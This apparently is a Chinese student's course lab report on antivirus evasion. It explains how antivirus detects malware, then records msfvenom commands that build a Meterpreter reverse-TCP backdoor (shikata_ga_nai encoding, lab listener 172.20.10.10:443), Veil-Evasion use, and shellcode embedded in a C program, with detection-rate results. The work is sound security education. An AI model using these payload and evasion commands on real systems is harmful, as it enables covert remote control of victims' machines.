• 20145223杨梦云 《网络对抗》 免杀原理与实践


    20145223杨梦云 《网络对抗》 免杀原理与实践

    1.基础问题回答

    (1)杀软是如何检测出恶意代码的?

    1:基于特征码

    一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
    杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。

    2: 启发式恶意软件检测

    When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.
    

    如果一个软件做的事和恶意代码一样,那么认为这样的程序是恶意代码,用自己的话概括就是:宁可杀错,不可放过(= =。)

    3:基于行为的恶意软件检测

    我觉得这个和上面的类似,杀毒软件判断一个程序是否是恶意代码,就是依据这个程序的行为进行判断。

    (2)免杀是做什么?

    就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。

    (3)免杀的基本方法有哪些?

    1:改变特征码,为恶意代码加上一层保护壳,比如利用重新进行编码的方式改变其源代码,或者改变它的编译方式,从而使杀毒软件检测不到恶意代码的特征码已达到免杀的目的

    2:改变恶意代码的行为,在使用反弹式链接可以避免防火墙或者杀毒软件检测到恶意代码,即想办法绕过这些有防火墙或者杀毒软件保护的路径。在恶意代码对系统进行操作的时候,尽量使自己看起来像一个正常的程序一样,避免一些有可能被杀毒软件检测到并判定为恶意代码的可疑行为。

    3:非常规方法,例如纯手工编写一个恶意代码,杀毒软件的恶意代码库中一般是大规模流行于市面的恶意代码,对个人编写的恶意代码没有用处。

    2.实践总结与体会

    这次实验我觉得自己最大的体会就是,虽然以前设想过如果是个人编出的一个恶意代码,因为它的小众化所以不会流行在市面上以至于被杀毒软件加进病毒库中,没有想过这样的想法是非常容易实现的。但是从另一个方面,恶意代码虽然可以想办法绕过甚至骗过我们安装的各种杀毒软件,但它始终会在我们的电脑里留下痕迹,比如电脑莫名的卡,或是在某个文件夹下莫名出现之前并没有安装的程序等等。提高我们的防范意识,可能不能完全解决恶意代码的入侵,但是能够一定程度上的限制恶意代码。

    3.离实战还缺些什么技术或步骤?

    编程能力的问题,以我现在的水平,只能理解恶意代码的基本原理,还要借助一些恶意代码的生成和编译工具,并不能全手工做出一个恶意代码,所以很容易就会被杀毒软件检查到。

    4.实践过程记录

    (一)通过VirSCAN.org检测上一周生成的后门程序:

    由于再次开机的时候,杀毒软件不知道什么时候把我上一周生成的exe删除了,只好从kali机上又传了一次,可执行文件命名为5223OAO:

    360检测结果:(不要问我为什么老师上课吐槽了360然而我还是在用360,因为我懒……用了这么多年一直用的很开心不是吗hhh)

    (二)使用Msfvenom进行编码

    输入命令:

    # msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘x00’ LHOST=172.20.10.10 LPORT=443 -f exe > 5223OAO2.exe
    

    结果显示由原来的百分之五十三下降到百分之四十八,虽然相差不大但还是有一定的效果,原因老师也解释了,各种杀毒软件的厂家研究的是恶意代码的编码器本身以及大致不变的模板,所以我们用这种编码器的时候依然能够被发现。

    (360忘了截图,不过和上面那个差不多一样能被查出来)

    (三)利用Veil-Evasion免杀平台进行免杀

    利用Veil-Evasion免杀平台抹去恶意代码所具有的一些共性特征,再次通过VirSCAN.org检测的时候,可以发现杀软检测出病毒的下降到了仅为百分之二十八。

    (四)C语言调用Shellcode

    原理是在获取到shellcode以后,编写一个新的c语言程序,然后在程序中调用这断代码,在主机运行这个程序的时候就会回连到kali机上,这段代码就相当于一个后门:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.10 LPORT=443 -f c
    

    靶机将这段代码复制粘贴到老师所给出的c程序中,编译。打开msf进行IP地址和端口号的配置准备进行反弹链接:

    开启360杀毒软件,版本5.0.0.5124(没错又是360)

    运行c程序后,kali可以成功获取到主机的权限:

    打开http://r.virscan.org/report/6dacac26e95bb8e86907ff509ad7a13a,对生成的可执行程序进行检测:

    可以看到相比之下,这个程序被检测出来的概率相比之前几个小了很多,说明已经部分实现了免杀的功能。

    360检测结果:

  • 相关阅读:
    Python自学笔记(12day)
    Python自学笔记(11day)
    Python自学笔记(10day)
    Python自学笔记(9day)
    Python自学笔记(8day)
    form标签的使用
    form标签的使用法
    img标签的使用方法
    <a></a>标签的使用
    html的标签
  • 原文地址:https://www.cnblogs.com/20145223ymy/p/6624482.html
Copyright © 2020-2023  润新知